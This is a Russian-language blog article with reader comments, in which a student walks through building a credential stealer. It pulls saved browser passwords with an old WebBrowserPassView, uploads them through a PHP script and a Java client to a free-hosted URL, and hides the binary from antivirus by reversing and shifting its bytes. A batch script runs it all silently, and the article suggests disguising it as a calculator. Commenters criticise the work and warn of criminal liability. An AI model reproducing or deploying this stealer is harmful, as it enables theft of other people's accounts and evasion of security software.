1. Предисловие


Этот материал подготовлен в ознакомительных целях, показать простые и, возможно, интересные вещи, а так же как с их помощью легко создать относительно мощный инструмент под свои нужны.

Я обычный студент и все что будет в этой статье — мои личные наработки и опыт.

2. Введение


Все те люди, которые сохраняют свои пароли в браузерах подвергаются большой опасности, ведь кажется очень легко зайти в компьютер другого человека и получить доступ к множеству веб-сервисов. Те же соц.сети и почты, а там уже море возможностей. Да, сейчас сильно развивается 2-step verification, но все же.

На деле все действительно не сложно. Пароли сохраняются в отдельном файле, который шифруется и прочитать его можно только на той машине, на которой он был создан. Так что просто забрать его себе и пользоваться не получится, придется вытащить от туда пароли. Далее нужно будет их как-то доставить.

Есть хорошая программа — WebBrowserPassView, которая как раз и позволяет вытаскивать пароли, во круг нее и будет кипеть работа.

3. WebBrowserPassView




У данной программы есть как графический интерфейс, так и поддержка командной строки. Однако последнее отключили начиная с версии 1.56. По понятным причинам командная строка нам необходима, по этому ищем более старую версию. И тут будет первая фишка.

Я нашел такую версию, но скачивается exe-шник, который запускать ну никак не хочется, мало ли что он сделает. По этому берем 7z и открываем его как архив



Тадам, видим файлы WebBrowserPassView и еще что-то, что нам не нужно. Достаем необходимое, а сам exe-шник смело удаляем.

Теперь можем запустить программу с консоли таким образом:

start WebBrowserPassView.exe /stext file

С параметром /stext оно сохранит все данные текстом в заданный файл (файл не обязательно должен быть с расширением .txt).

А с полным списком команд можно ознакомиться на официальном сайте

4. Отправка файла на сервер


4.1 Хостинг


Мы уже знаем как достать пароли и сохранить их в файл, это было не сложно. Теперь нужно как-то забрать их. Для этого как минимум нужен сервер со статическим ip. Я пробовал виртуальные сервера от Amazon и тому подобные, но в таком случае нам нужно писать сервер-приложение, возможно платить (Amazon берет плату за статический ip). Сделать сервер из своего домашнего компьютера — не очень подходит как в плане безопасности, так и надежности.

В таком случае я выбрал бесплатный хостинг сайтов. Абсолютно бесплатный и всегда онлайн.
Я использовал zzz.com.ua, но вы можете пробовать на чем хотите.

4.2 Сервер


Я не сильно программист, из языков знаю dos и java на любительском уровне, но вам даже этого не понадобиться, ибо все готовые решения уже давно есть в сети и найти их очень просто.
Наша задача объединить множество простых и уже созданных вещей в что-то уникальное.
Так что смело берем код с какого-то форума и пользуемся.

Сервер будет на php, клиент на java (далеко не самое лучшее решение, на С++ или pyton было бы во много раз эффективнее, да и не у каждого установлена она, но тут моя личная особенность)

Код сервера:

<?php 

$target_path = "uploads/"; 

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
    echo "The file ". basename( $_FILES['uploadedfile']['name'])." has been uploaded"; 
} else{ 
    echo "There was an error uploading the file, please try again!"; 
}

?> 

Запихиваем это все в файл.php и кидаем в корневую директорию сайта. Так же создаем папку uploads куда будет все грузиться. (ее можно изменить во второй строчке кода).
На этом работа с сервером окончена, приступаем к клиенту.

4.3 Клиент


И так, забегая вперед скажу, что файл с паролями будем сохранять во временную папку системы

%temp%

Отправлять будем http запросом. В коде указано как будто мы отправляем картинку, но не стоит на это обращать внимание.

import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Random;

public class MAAm {
	private final String CrLf = "\r\n";
	private static String path = "";
	private static String urll ="";	
	private String filename = "" + new Random().nextInt();

	public static void main(String[] args) {
		path = args[0];
		urll = args[1];
		MAAm main = new MAAm();
		main.httpConn();
	}

	private void httpConn() {

		try {
			SimpleDateFormat dateFormat = new SimpleDateFormat("dd.MM.yyyy 'at' HH:mm:ss z");
			filename = (System.currentTimeMillis() + " (" + dateFormat.format(new Date()) + ") "
					+ System.getProperty("user.name") + " [" + System.getProperty("user.country") + "]") + ".txt"; //имя файла, с которым он будет приходить на сервер
		} catch (Exception e) {
		}
		System.out.println("filename: " + filename);

		System.out.println(path);
		URLConnection conn = null;
		OutputStream os = null;
		InputStream is = null;

		try {
			URL url = new URL(urll);
			System.out.println("url:" + url);
			conn = url.openConnection();
			conn.setDoOutput(true);

			String postData = "";
			InputStream imgIs = new FileInputStream(path);

			// InputStream imgIs = getClass().getResourceAsStream("/1.jpg");

			byte[] imgData = new byte[imgIs.available()];
			imgIs.read(imgData);

			String message1 = "";
			message1 += "-----------------------------4664151417711" + CrLf;
			message1 += "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"" + filename + "\"" + CrLf;
			message1 += "Content-Type: image/jpeg" + CrLf;
			message1 += CrLf;

			// the image is sent between the messages in the multipart message.

			String message2 = "";
			message2 += CrLf + "-----------------------------4664151417711--" + CrLf;

			conn.setRequestProperty("Content-Type",
					"multipart/form-data; boundary=---------------------------4664151417711");
			// might not need to specify the content-length when sending chunked
			// data.
			conn.setRequestProperty("Content-Length",
					String.valueOf((message1.length() + message2.length() + imgData.length)));

			System.out.println("open os");
			os = conn.getOutputStream();

			System.out.println(message1);
			os.write(message1.getBytes());

			// SEND THE IMAGE
			int index = 0;
			int size = 1024;
			do {
				System.out.println("write:" + index);
				if ((index + size) > imgData.length) {
					size = imgData.length - index;
				}
				os.write(imgData, index, size);
				index += size;
			} while (index < imgData.length);
			System.out.println("written:" + index);

			System.out.println(message2);
			os.write(message2.getBytes());
			os.flush();

			System.out.println("open is");
			is = conn.getInputStream();

			char buff = 512;
			int len;
			byte[] data = new byte[buff];
			do {
				System.out.println("READ");
				len = is.read(data);

				if (len > 0) {
					System.out.println(new String(data, 0, len));
				}
			} while (len > 0);

			System.out.println("DONE");
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			System.out.println("Close connection");
			try {
				os.close();
			} catch (Exception e) {
			}
			try {
				is.close();
			} catch (Exception e) {
			}
			try {

			} catch (Exception e) {
			}
		}
	}
}

Путь к файлу передается первым параметром, а адрес сайта вторым.

Название файла у меня сконструировано следующим образом: время отправки в виде миллисекунд (время отправки в нормальном формате) имя пользователя компьютера [локализация пользователя]. Этой информации мне кажется достаточно, но по желанию можете изменить.

4.4 Демонстрация




Как видим, после всех этих действий мы спокойно получаем отправляемые файлы к себе на сервер.

5. Криптография


К сожалению, WebBrowserPassView определяется антивирусами как потенциальная угроза или троян. Сжатая UPX программа на VirusTotal набрала 41 обнаружения. Это никуда не годиться, нужно как-то замаскировать. А маскируется все очень просто. Представьте книгу, которую написали задом на перед. В целом ничего такого, очень даже не сложно ее прочитать. Однако результат VirusTotal-а понизился до 6. Хм, а если взять книгу и каждую букву в ней заменить на следом стоящую по алфавиту? Шифр Цезаря. Примитивно, но уже всего 4 антивируса что-то заподозрили. А если объединить эти два метода? А все очень просто, 0.

Да, ты просто берешь программу, записываешь ее побайтово задом на перед а так же добавляешь единицу к каждому байту и ее никакой антивирус не определяет
Для этой цели я создаю еще одно java приложение, но его уже создал сам с нуля.

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class alldo {

	public static void main(String[] args) throws IOException {
		File file = new File(args[0]);
		System.out.println(file.getPath());
		InputStream in = new FileInputStream(file);
		 ByteArrayOutputStream buffer = new ByteArrayOutputStream();
		 int nRead;
		 byte[] arr = new byte[(int) file.length()];
		 while ((nRead = in.read(arr, 0, arr.length)) != -1) {
		     buffer.write(arr, 0, nRead);
		 }
		in.close();
		for (int i = 0; i < arr.length; i++) {
			arr[i]--;
		}
	
		byte temp=0;
		for (int i = 0; i < arr.length/2; i++) {
			temp=arr[arr.length-i-1];
			arr[arr.length-i-1]=arr[i];
			arr[i]=temp;
		}

		OutputStream out = new FileOutputStream(file);
		out.write(arr);
		out.flush();
		
		out.close();
		
	}
	
}

Тут принимается единственный параметр — путь к файлу. Дабы расшифровать файл — достаточно заменить

arr[i]--;

на

arr[i]++;

6. Bat to exe converter


Bat to exe converter — это прекрасный инструмент не только для преобразования .bat файлов в .exe, но и для различных действий над ними. От установки значка приложения до включения в файл других файлов (что нам очень поможет).

7. Сборка


7.1 настройка


Если кратко — мы закидываем туда WebBrowserPassView, декриптограф и приложение для отправки файла на сервер + можем закинуть туда, например, калькулятор. Что б жертва думала что запускает именно его. Так же устанавливаем значок, пишем описание программы, включаем сжатие, ставим галочку на работу во временном каталоге, остальное по ситуации.

Лично я оставлю вирус невидимым, без маскировки и запуска какого-либо приложения.





Самое необходимое для сборки готово, теперь код

md %temp%\t234
REM создаем папку во временной директории 
copy WebBrowserPassView.exe %temp%\t234
copy WebBrowserPassView.chm %temp%\t234
REM копируем туда файлы программы
java -jar decrypt.jar %temp%\t234\WebBrowserPassView.exe
java -jar decrypt.jar %temp%\t234\WebBrowserPassView.chm
REM расшифровываем их
start %temp%\t234\WebBrowserPassView.exe /stext %temp%\t234\626384315253.mml
REM запускаем их
ping -n 2 localhost
REM ждем 2 секунды для надежности
java -jar opacha.jar %temp%\t234\626384315253.mml http://senseiseverywhere.kl.com.ua/retry.php
REM отправляем файлы на сервер
ping -n 1 localhost
REM удаляем папку
del /Q %temp%\t234



Так же добавляем любой значок и можем заполнить описание продукта, для солидности так сказать.

В итоге, вот что у нас получилось:



7.2 Испытания


Компилируем, запускаем, ничего не видим, ибо приложение запускается в фоне. Разве что появившуюся папку в темпе, а затем она очистилась. Тут очевидно, что никто никогда не узнает что произошло. А если открыть вирус 7z, как было сделано в начале статьи?



И тут тоже ничего не понятно, ибо сжатие.

А тем временем на сервере появился новый файл, в котором наши данные



7.3 Дополнения


Как уже говорил, можно замаскировать под любое приложение, можно добавить экспорт батника, который после завершения выполнения программы будет ее удалять, можно заменить ею какой-нибудь системный файл, например тот же калькулятор.

Обнаружение как вирус
В данном виде антивирусы все равно будут ругаться, я специально оставил это, дабы мамкины хакеры не смогли использовать это во вред. Однако путь к чистому лицу вируса тут есть, нужно лишь правильно применить. Как ни как WebBrowserPassView уже никто не распознает.
VirusTotal

8. Заключение


Мы использовали:

  • Открытие .exe как архив
  • Запуск программы с аргументами
  • Создание бесплатного сервера
  • Создание своей клиент-сервер сети
  • Примитивная но эффективная криптография
  • Написание логики для объединения всех составляющих
  • Оформление

Лично мне куда удобнее и приятнее учиться на практике, на ошибках и проблемах которые возникают прямо тут и сейчас. Тобишь немного теории, для общего понимания, а затем сразу разрабатывать проект, без набития руки на примитивах и т.п. По этому, в моей статье возможно много недочетов и неточностей, но надеюсь суть я вам донес, а именно:

  1. Украсть чужие данные проще простого
  2. Не сохраняйте пароли в браузере

Так же тут не было пунктика про распространение, ибо мы ж в целях обучения, а не вреда.

Комментарии (13)


  1. dartraiden
    11.11.2019 21:58
    +1

    можно заменить ею какой-нибудь системный файл, например тот же калькулятор
    В актуальных виндах для этого потребуется ещё и владельцем файла стать. А это уже приведёт к запросу UAC. Вообще, вы не сможете ни удалить, ни отредактировать файл в системных каталогах без прав администратора. А чтобы их получить… правильно, UAC.

    // вышеописанное, конечно не касается какой-нибудь Windows XP и случаев, когда пользователь с мясом выдрал все защитные механизмы ОС, но проблемы таких стрелков в ногу нас не волнуют (интересно, кстати, что в культуре Linux человека, возжелавшего, чтобы все его команды всегда исполнялись от рута без всякого sudo, скорее всего высмеют, а вот среди пользователей Windows подобный «незащищённый секс» считается нормой).


  1. shapovalex
    11.11.2019 22:07
    +3

    Я даже не знаю, что здесь хуже — стилистика написания кода или преступления против русского языка.
    Плюс ко всему — советую убрать исходники, особенно если Вы из Украины.
    Данная статья попадает под действие УК — распространение вредоносного ПО


  1. PaulZi
    11.11.2019 22:21
    +4

    Я у мамки хакер) и самое главное сколько нужно языков и скриптов разного рода и Java и PHP и bat… Только вот все это можно заменить одним exeшником, только вот главное — как его в систему прописать — тут умалчивается. И это если ещё хорошо если мастер пароль в браузере не стоит, а то же ещё перебором заниматься придется, чтобы расшифровать файл паролей.


    1. Sartorio
      12.11.2019 02:14

      В «Firefox» и «Mozilla Thunderbird» обязательно мастер пароль.
      Vivaldi при попытке посмотреть сохраненные пароли, требует пароль юзера.
      На все значимые аккаунты, 2FA вход через «OTP», вся значимая почта, это либо почта на собственных доменах, либо что-то вроде «protonmail» и обязательно с 2FA.
      Да, часто на винде работаю из под админа (приходится), но более-менее правильно настроенные политики безопасности, в числе прочего, по умолчанию запрещающие отправку любых файлов на внешние ресурсы и выдающие запросы на запуск и открытие сохраненных из инета файлов.
      Делает всё описанное бессмысленным. И еще ни «яву» ни еще чего такое на винде не держу.
      А если приходится что-то заливать на сайты, то из виртуалки на убунте через свой прокси с правильно настроенным файрволом.


  1. shapovalex
    11.11.2019 22:26

    Так же тут не было пунктика про распространение, ибо мы ж в целях обучения, а не вреда.


    Исходники вредоносного ПО есть? Есть.
    Опубликованы на общедоступном ресурсе в сети Интернет? Да.
    С какой целью не имеет значения — признаки преступления на лицо. Реальный срок не дадут, но жизнь сломают — из универа турнут, на работу нормальную устроиться с судимостью будет большая проблема.
    Так что лучше удалить исходники, пока товарищ майор не увидел.


    1. iig
      12.11.2019 10:15

      Нужно, наверное, доказать, что ПО вредоносное? Иначе, тов. майор спокойно может показать пальцем в любой кусок кода, сказать "это вредоносное ПО, проходите в камеру".


      1. shapovalex
        12.11.2019 11:16

        Приблизительно это так и происходит, в Киеве парень полгода в СИЗО сидел за то, что его никнейм совпал с никнеймом разыскиваемого хакера.
        В целом, если изучить украинскую судебную практику, то там в этой сфере ничего доказывать не надо. Есть экспертное заключение и вперед


        1. iig
          12.11.2019 11:58

          Эта история в интернетах есть?


  1. nochkin
    11.11.2019 22:27
    +2

    Я нашел такую версию, но скачивается exe-шник, который запускать ну никак не хочется, мало ли что он сделает.
    Но потом чуть ниже
    Теперь можем запустить программу с консоли таким образом:

    То есть, мы не хотели запускать exe-шник, но потом всё равно запускаем. Пусть другой, но сомнительный источник тот же.


  1. Ayahuaska
    12.11.2019 00:13
    +1

    из языков знаю dos

    WAS?


  1. yar3333
    12.11.2019 00:20
    +1

    Я нашел такую версию, но скачивается exe-шник, который запускать ну никак не хочется, мало ли что он сделает. По этому берем 7z и открываем его как архив
    Совсем другое дело! :))


  1. VANSCoder
    12.11.2019 07:16

    В начале подумал что случайно попал на молодой и развивающийся хакерский форум.

    я специально оставил это, дабы мамкины хакеры не смогли использовать это во вред
    А как это ещё можно использовать? Мне правда интересно как стиллер можно использовать на пользу?

    Второе. Замечания по коду. Почему бы не использовать text/plain вместо:

    Content-Type: image/jpeg

    Ведь так будет более логичней, у вас же текстовые данные. И раз уж на то пошло, то почему бы всё не сделать на .bat файлах? Для чего писать программу?

    И самое главное — вес файла. Стиллер который весит 3 сотни и собран из кучи файлов очень туго криптуется, следовательно такое у вас никто не купит. Да что там купит, я бы за бесплатно не стал таким пользоваться ведь проще взять исходную программу и руками сохранить пароли.

    Павел, вот чесс слово, лучше бы разобрались как браузеры шифруют пароли, какие алгоритмы используются и рассказали бы это. Кража паролей была актуальная году эдак в 2011-м, сейчас все перешли на кражу Cookie что позволяет обходит двухэтапную аутентификацию и прочую защиту которая не привязывается к IP адресу.


  1. Mylistryx
    12.11.2019 13:01

    image
    напомнило…